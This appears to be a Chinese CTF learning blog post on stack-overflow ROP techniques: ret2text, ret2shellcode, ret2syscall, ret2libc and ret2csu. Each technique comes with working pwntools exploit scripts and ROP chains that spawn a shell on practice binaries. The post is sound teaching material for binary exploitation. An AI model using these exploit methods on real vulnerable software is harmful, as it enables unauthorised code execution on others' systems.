0x01预备知识

*bss段通常是指用来存放程序中未初始化的全局变量的一块内存区域。
**
data段通常存放程序中已经初始化的全局变量的一块内存区域。 text段是存放程序执行代码的一块内存区域,称为代码段。 rodata段是存放C中的字符串和#define定义的常量*

*p32 p64:将一个数字转换为字符
**
u32 u64*:将字符转换为数字
或者说p32、p64是打包为二进制,u32、u64是解包为二进制

0x02ret2text

ret2text就是执行程序中已有的代码。例如程序中写有system等系统的调用函数(这便是已有的代码),我们就可以利用控制已有的gadgets(以ret及结尾的指令序列,通过这些指令序列,可以修改某些地址的内容)控制system函数。

题目解析 jarvisoj_level2

个人分析

只要是没有调用题目中的函数,返回地址是system的,就没有函数调用过程,后面要接虚拟地址

32位程序中,参数在函数后面

1
2
3
payload构造:
payload = padding + sys_plt + 虚拟地址 + system()参数"/bin/sh"
payload = 'a'*(0x88+4) + p32(sys) + 'b'*4 + p32(sh)

exp

1
2
3
4
5
6
7
8
from pwn import *
r = process("./level2")
context.log_level = "debug"
sys = 0x8048320
sh = 0x0804a024
payload = 'a'*(0x88+4) + p32(sys) + 'b'*4 + p32(sh)
r.sendline(payload)
r.interactive()

题目解析 jarvisoj_level2_x64

个人分析

64位系统函数调用传参优先使用寄存器 rdi rsi rdx rcx r8 r9

64位ubuntu18以上系统调用system函数时是需要栈对齐,32位则不用考虑

1
2
3
payload构造:
payload = padding + rdi寄存器 + system()参数"/bin/sh" + ret抬栈 + sys_plt
payload = 'a'*0x88 + p64(rdi) + p64(sh) + p64(ret) + p64(sys)

rdi寄存器查找:ROPgadget --binary level2_x64 --only ‘pop|ret’ | grep ‘rdi’

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
r = process("./level2_x64")
context.log_level = "debug"
rdi = 0x00000000004006b3
sys = 0x4004c0
sh = 0x600a90
ret = 0x400644
payload = 'a'*0x88 + p64(rdi) + p64(sh) + p64(ret) + p64(sys)
r.sendline(payload)
r.interactive()

0x03ret2shellcode

ret2shellcode 即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,一般题目无system和“/bin/sh”,则在bss段上传入shellcode

解析题目 jarvisoj_level1

个人分析

%p会打印出&buf的16进制地址

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

printf("What's this:%p?\n", buf);
return read(0, buf, 0x100u);
}

p.recvuntil("What's this:"):当接收到这句话时,int(p.recv(10),16)接收后面的内容10个字节内容,可能是因为地址0xffc79bc0在双引号内,故被认为是字符,0xffc79bc0是10个字符,0xff是4个字符。

总结:打印出的地址在引号内的32位程序用int(p.recv(10),16)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# int(p.recv(10),16)
q@ubuntu:~/Desktop/HRP/ret2shellcode$ python2 level1_ret2shellcode_exp.py
[!] Could not find executable 'level1' in $PATH, using './level1' instead
[+] Starting local process './level1' argv=['level1'] : pid 5492
[DEBUG] Received 0x18 bytes:
"What's this:0xffc79bc0?\n"
('buf_addr => ', '0xffc79bc0')
('buf_addr => ', 4291271616)

# int(p.recv(4),16)
q@ubuntu:~/Desktop/HRP/ret2shellcode$ python2 level1_ret2shellcode_exp.py
[!] Could not find executable 'level1' in $PATH, using './level1' instead
[+] Starting local process './level1' argv=['level1'] : pid 5473
[DEBUG] Received 0x18 bytes:
"What's this:0xffbfaee0?\n"
('buf_addr => ', '0xff')
('buf_addr => ', 255)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-
from pwn import *
file_path='level1'
context.log_level = "debug"
p = process("level1")
p.recvuntil("What's this:")
buf = int(p.recv(10),16)
# buf = int(p.recv(4),16)
print("buf_addr => ", hex(buf))
print("buf_addr => ", buf)
shellcode = asm(shellcraft.sh())#生成shellcode
payload = shellcode
payload = payload.ljust(0x88+4,b'a') + p32(buf)
p.send(payload)
p.interactive()

0x04 retsyscall

解析题目 inndy_rop

个人分析1

eax=0xb(系统调用号)
ebx=/bin/sh 的地址
ecx=0
edx=0

查找eax:ROPgadget --binary inndy_rop --only 'pop|ret' | grep 'eax',其他类似

1
2
3
4
5
6
7
q@ubuntu:~/Desktop/HRP/ret2syscall$ ROPgadget --binary inndy_rop --only 'pop|ret' | grep 'eax'
0x08091c74 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809d18a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b8016 : pop eax ; ret
0x08087312 : pop eax ; ret 0x80c
0x080934a0 : pop eax ; ret 0x80e
0x0809d189 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

int 0x80:ROPgadget --binary rop --only 'int'

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
file_path='./inndy_rop'
p = process('./inndy_rop')
#find gadgets
int_80_ret = 0x0806F430#int 0x80;ret ROPgadget无法找到 ropper --file inndy_rop --search "int 0x80"
pop_eax_ret = 0x080b8016# : pop eax ; ret
pop_ebx_ret = 0x080481c9# : pop ebx ; ret
pop_ecx_ret = 0x080de769# : pop ecx ; ret
pop_edx_ret = 0x0806ecda# : pop edx ; ret
bss = 0x80e9000

payload = b'a'*0xc+b'b'*4
#read(0,bss+0x100,8)
#eax = 3
#ebx = fd=0
#ecx = buf=bss+0x100
#edx = 8
payload += p32(pop_eax_ret)+p32(0x3)#eax=3
payload += p32(pop_ebx_ret)+p32(0x0)#ebx=fd=0
payload += p32(pop_ecx_ret)+p32(bss+0x100)#ecx=bss+0x100
payload += p32(pop_edx_ret)+p32(0x8)#edx=8 len('/bin/sh\x00')
payload += p32(int_80_ret)
#execve("/bin/sh",0,0)
#eax=0xb
#ebx=bss+0x100
#ecx = 0
#edx = 0
payload += p32(pop_eax_ret)+p32(0xb)#eax=3
payload += p32(pop_ebx_ret)+p32(bss+0x100)#ebx=fd=1
payload += p32(pop_ecx_ret)+p32(0)#ecx=bss+0x100
payload += p32(pop_edx_ret)+p32(0)#edx=8 len('/bin/sh\x00')
payload += p32(int_80_ret)
#gdb.attach(p,'b *0x0806F430')
p.sendline(payload)
sleep(1)
p.sendline('/bin/sh\x00')
p.interactive()

个人分析2

由于题目是静态编译,且栈溢出函数是gets,读入无限制,故可采用如下方法,但若是read函数可能有时就不能无限读,有时最多读0x100什么的就已经是最大的

可参考:http://t.csdn.cn/7DjOz

ropper生成ropchain

ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
q@ubuntu:~/Desktop/HRP/ret2syscall$ ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

[INFO] ROPchain Generator for syscall execve:


[INFO]
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null


[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget

[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret;
print(rop)
[INFO] rop chain generated!

exp2

注意两处要改:

  1. 开头的rop = '' => rop = b'A'*0xC + b'B'*4
  2. 中间的rop += p(0x0000000b) => rop += p32(0x0000000b)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from pwn import *
p = process('./inndy_rop')
context.log_level = "debug"
####################################直接粘贴##############################################

IMAGE_BASE_0 = 0x08048000 #
rebase_0 = lambda x : p32(x + IMAGE_BASE_0)

rop = b'A'*0xC+b'B'*4 # 填充padding

rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += b'//bi'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += b'n/sh'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p32(0x00000000)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p32(0x0000000b)
rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret;
#########################################################################################
print(rop)
p.sendline(rop)
p.interactive()

0x05ret2libc

ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt 处(已经执行过的函数)或者函数的具体位置,即函数对应的got 表项的内容(第一次执行的函数)。

解析题目 jarvisoj_level1

个人分析

执行write函数泄露read_got表 => 再通过read在libc的offset得出libc_base => 根据libc_base得出system函数和“/bin/sh”的真实地址 => 返回到main主函数再次执行

1
2
3
4
5
6
7
// main()函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
1
2
3
4
5
6
7
8
// vulnerable_function()
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

printf("What's this:%p?\n", buf);
return read(0, buf, 0x100u);
}

泄露真实地址时,payload1中p32(main_addr)返回地址要是主函数main才能再次执行main,后面才能发送payload2

1
payload1 = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)

而payload2中p32(main_addr)可以任意改动,比如p32(4)或者‘b’*4

1
payload2 =  b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh)

python中lambda表达式的用法:

1
2
3
自定义匿名函数:func = lambda x : x**2
调用:func(2)
输出:4

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
file_path='./level1'
p = process(file_path)
elf = ELF(file_path)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')


######################################common pack#######################################
# python的匿名函数
su = lambda desp,value:success(desp+' => '+(hex(value) if type(value)==int else str(value)))
ru = lambda delim :p.recvuntil(delim)
rv = lambda count=1024,timeout=0:p.recv(count,timeout)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
ss = lambda data :p.send(data)
ssa = lambda delim,data :p.sendafter(delim, data)
u64leak=lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
u64leak2=lambda :u64(p.recv(6).ljust(8,b'\0'))
######################################common pack#######################################
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x080484B7

#---------------payload部分--------------#
#因为前面已经执行过read 所以会包含read的真实地址#
payload1 = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)#执行write 泄露read_got表
#gdb.attach(p,'b *0x080484B5')
p.sendafter("?",payload1)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
log.success("read_addr:{}".format(hex(read_addr)))
libc_base = read_addr - libc.symbols['read'] #通过read在libc的偏移找到libc的基地址
system = libc_base+libc.symbols['system'] #通过libc的基地址找到system函数的地址和bin/sh的地址
binsh = libc_base + next(libc.search(b'/bin/sh'))

log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("binsh:{}".format(hex(binsh)))

payload2 = b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh) #再次触发后 覆盖为system + bin/sh地址

p.send(payload2)
p.interactive()

0x06 ret2csu

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 ret2csu是针对64位程序的

例题解析 level5

个人分析

1.利用write(1, write_got, 8)泄露libc => 2.利用read(0, bss, 16)写入system地址和/bin/sh字符串

=> 3.system(‘/bin/sh’) get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def ret_csu(r12, r13, r14, r15, last):
payload = offset * 'a'
#构造栈溢出的padding
payload += p64(first_csu) + 'a' * 8
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12) # 比如pust_plt
#call调用的地址
payload += p64(r15) + p64(r14) + p64(r13) # 若为puts_got 0 0,则等价为puts(puts_got)
# Ubuntu16的payload:payload += p64(r13) + p64(r14) +p64(r15)
#三个参数的寄存器
payload += p64(second_csu)
#gadgets2的地址
payload += 'a' * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
r=process('./level5')
context.log_level = "debug"
csu_one=0x400606
csu_two=0x4005F0
bss=0x601028

def ret_csu(r12, r13, r14, r15, last):
payload='/bin/sh\x00'
payload += p64(csu_one)
payload += p64(0) + p64(1)
payload += p64(r12)
payload += p64(r15) + p64(r14) + p64(r13) # rdx,rsi,rdi
payload += p64(csu_two) # bss填充到这是bss+72的位置,这里是触发点
payload += p64(last)
return payload

0x07 总结

ret2XX是根据ROP的gadgets的来源进行分类。

1.ret2text是利用程序本身的gadgets

2.ret2shellcode是利用输入的shellcode

3.ret2syscall是利用syscall的gadgets

4.ret2libc是利用libc当中存在的gadgets

5.ret2csu是程序编译时存在的gadget具有通用性

0x08特别说明

题目全在本地Ubuntu18打,题目来源星盟

参考CSDN:http://t.csdn.cn/I5pqB